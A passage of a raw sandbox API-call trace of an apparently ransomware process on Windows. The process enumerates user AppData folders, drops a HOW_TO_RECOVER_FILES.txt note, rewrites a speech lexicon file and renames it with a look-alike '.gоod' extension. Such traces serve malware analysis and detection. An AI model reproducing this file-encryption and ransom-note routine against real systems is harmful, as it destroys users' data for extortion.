ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0255.565] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.565] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0255.565] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0255.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.565] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0255.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0255.565] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Signatures\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\signatures\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x870 [0255.566] GetFileType (hFile=0x870) returned 0x1 [0255.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0255.566] GetFileType (hFile=0x870) returned 0x1 [0255.567] WriteFile (in: hFile=0x870, lpBuffer=0x3b922a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3b922a0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0255.567] CloseHandle (hObject=0x870) returned 1 [0255.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.567] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x30 [0255.567] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0255.568] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.568] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 1 [0255.568] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 0 [0255.568] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0255.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0255.568] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x30 [0255.568] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0255.568] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.569] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 1 [0255.569] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.569] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0255.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0255.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0255.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0255.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x36 [0255.569] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0255.570] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.570] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 1 [0255.570] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 0 [0255.570] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0255.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0255.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0255.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0255.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x36 [0255.571] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0255.571] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.571] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserLexicons", cAlternateFileName="USERLE~1")) returned 1 [0255.572] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.572] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0255.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0255.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0255.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0255.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x43 [0255.572] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0255.573] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.573] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat", cAlternateFileName="SP_31F~1.DAT")) returned 1 [0255.573] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.573] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0255.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0255.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0255.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0255.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x43 [0255.574] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0255.574] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.574] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat", cAlternateFileName="SP_31F~1.DAT")) returned 1 [0255.574] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SP_31FD1255772945E99CBED4370F39872D.dat", cAlternateFileName="SP_31F~1.DAT")) returned 0 [0255.574] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0255.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0255.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0255.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", lpFilePart=0x0) returned 0x6b [0255.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0255.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), fInfoLevelId=0x0, lpFileInformation=0x3bc2f38 | out: lpFileInformation=0x3bc2f38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2954bc8, ftCreationTime.dwHighDateTime=0x1d336d6, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x3ac)) returned 1 [0255.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0255.575] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", lpFilePart=0x0) returned 0x6b [0255.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0255.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0255.575] GetFileType (hFile=0x870) returned 0x1 [0255.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0255.575] GetFileType (hFile=0x870) returned 0x1 [0255.576] GetFileSize (in: hFile=0x870, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x3ac [0255.576] ReadFile (in: hFile=0x870, lpBuffer=0x3bc3680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x3bc3680*, lpNumberOfBytesRead=0x204eb8c8*=0x3ac, lpOverlapped=0x0) returned 1 [0255.749] CloseHandle (hObject=0x870) returned 1 [0256.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", lpFilePart=0x0) returned 0x6b [0256.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0256.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.181] GetFileType (hFile=0x828) returned 0x1 [0256.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0256.181] GetFileType (hFile=0x828) returned 0x1 [0256.182] WriteFile (in: hFile=0x828, lpBuffer=0x3c64a80*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x204eb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3c64a80*, lpNumberOfBytesWritten=0x204eb7d8*=0x3b0, lpOverlapped=0x0) returned 1 [0256.182] CloseHandle (hObject=0x828) returned 1 [0256.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat", lpFilePart=0x0) returned 0x6b [0256.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat.gоod", lpFilePart=0x0) returned 0x70 [0256.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0256.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\SP_31FD1255772945E99CBED4370F39872D.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons\\sp_31fd1255772945e99cbed4370f39872d.dat"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, 